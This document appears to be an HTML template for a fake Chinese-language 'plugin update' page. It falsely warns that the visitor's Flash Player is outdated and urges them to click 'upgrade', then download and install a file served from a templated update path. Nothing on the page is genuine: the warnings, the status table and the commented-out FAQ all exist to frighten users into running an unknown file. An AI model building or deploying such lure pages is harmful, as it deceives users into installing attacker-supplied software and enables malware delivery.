<!DOCTYPE html>
<html>
   
   <head>
      <link rel="icon" href="images/favicon.ico">  
      <title>插件管理中心</title>
      <meta name = "viewport" content = "width = device-width, initial-scale = 1.0">
      
      <link href = "css/bootstrap.min.css" rel = "stylesheet">
      <link href="css/theme.css" rel="stylesheet">
      
   </head>
   
   <body>
      
    <nav class="navbar navbar-inverse navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="">插件管理</a>
        </div>
        </div>
        </nav>


      <div class="container theme-showcase" role="main">

      <div class="alert alert-warning" role="alert">
        <h4><strong>警告:</strong> 您的浏览器插件已过时，升级您的浏览器插件以保证浏览安全！</h4>
      </div>

      <div class="page-header">
        <h1><strong>升级您的插件</strong></h1>
        <!--<h4>升级插件以保持浏览器安全.</h4>-->
      </div>

      <div class="jumbotron">
        <h1>插件状态</h1>
       <br>

      <div class="row">
        <div class="col-md-13">
          <table class="table">
            <thead>
              <tr>
                <th><h3>插件</h3></th>
                <th><h3>状态</h3></th>
                <th><h3>操作</h3></th>

              </tr>
            </thead>
            <tbody>
              <tr>
                <td>
                  <strong>Flash Player</strong><br>
                  Flash Player 是一个轻量级浏览器插件
               </td>

                <td>
                  <br><strong>已过时</strong>
               </td>

                <td>
                  <h4>
                  <form method="get" action="{{ update_path }}">
                    <button type="submit" class="btn btn-lg btn-success">升级</button>
                    </form>
                  </h4>
                </td>
              </tr>
         </tbody>
         </table>

               <br>

               <p> 
       <ul class="list-unstyled">
               <ul>
                   <li><h4><strong>步骤 1:</strong> 点击 '升级' 下载升级文件.</h4></li>
                   <li><h4><strong>步骤 2:</strong> 安装升级文件来进行更新.</h4></li>
               </ul>
       </ul>
      <br>


      </div>
      </div>
      </div>

      <!--<div class="jumbotron">-->
        <!--<h1>Frequently Asked Questions</h1>-->

      <!--<div class="row marketing">-->
        <!--<div class="col-lg-6">-->
          <!--<h3>What is a plugin?</h3>-->
      <!--<p> -->
       <!--<ul class="list-unstyled">-->
               <!--<ul>-->
                   <!--<li><h4>Plugins power videos, animation and games.</h4></li>-->
                   <!--<li><h4>Plugins don't always update automatically.</h4></li>-->
                   <!--<li><h4>They're built outside of your browser by companies like Adobe Systems and Apple.</h4></li>-->
               <!--</ul>-->
       <!--</ul>-->
       <!--<br>-->
      <!--<p>-->

          <!--<h3>How does Plugin Manager help me?</h3>-->
          <!--<h4>Your browser's plugin manager <strong>automatically updates</strong> most of your plugins for you. However, some plugins occassionally require <strong>manual updating</strong>.</h4>-->
       <!--<br>-->

        <!--</div>-->

        <!--<div class="col-lg-6">-->
          <!--<h3>Why should I update my plugins?</h3>-->
         <!--<p> -->
          <!--<ul class="list-unstyled">-->
                  <!--<ul>-->
                      <!--<li><h4>Old plugins <strong>increase your risk</strong> for attack by malware, viruses, and other security threats.</h4></li>-->
                      <!--<li><h4><strong>Updated plugins have improvements</strong> that make the web <strong>better and safer</strong> for you.</h4></li>-->
                      <!--<li><h4>Old plugins can <strong>interrupt browsing</strong> and waste your time.</h4></li>-->

                  <!--</ul>-->
          <!--</ul>-->
          <br>

         <img src="images/plugins.png" class="img-thumbnail" alt="A generic square placeholder image with a white border around it, making it resemble a photograph taken with an old instant camera">

        </div>
      </div>

    </div>

      </div>

      <script src = "js/jquery.js"></script>
      
      <script src = "js/bootstrap.min.js"></script>
      
   </body>
	
</html>
